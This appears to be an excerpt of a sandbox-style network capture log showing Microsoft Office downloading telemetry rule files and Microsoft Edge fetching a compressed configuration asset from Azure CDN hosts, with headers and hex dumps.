2024-10-30 03:34:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	50989	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:36 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:36 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 8ce6a12a-601e-005c-62fe-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033436Z-16849878b78p49s6zkwt11bbkn00000007600000000062wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:36 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	50992	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:36 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 6d89998c-401e-0083-425b-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033436Z-17c5cb586f6r59nt869u8w8xt800000006d000000000c6uf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	50991	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:36 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:36 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033436Z-16849878b78zqkvcwgr6h55x9n000000070g000000001aef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	50993	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 5fdb5a9a-801e-00a0-5f9d-292196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033437Z-17c5cb586f626sn8grcgm1gf800000000600000000005dmp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	50994	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 80bd6f28-d01e-002b-3d65-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033437Z-17c5cb586f6r59nt869u8w8xt800000006kg000000000v36 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	50995	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:37 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033437Z-16849878b786fl7gm2qg4r5y7000000007sg0000000098n9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	50996	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033437Z-16849878b78wc6ln1zsrz6q9w8000000074g00000000c9e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	50997	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:37 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 38ae9a1e-e01e-0099-4193-27da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033437Z-r197bdfb6b46kdskt78qagqq1c00000007n000000000gquf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	51002	13.107.246.57	443	5868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:37 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 03:34:37 UTC	576	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:37 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 1fa8ccbb-501e-0019-2a90-28446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T033437Z-16849878b78smng4k6nq15r6s40000000900000000009cfd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 03:34:37 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-10-30 03:34:38 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 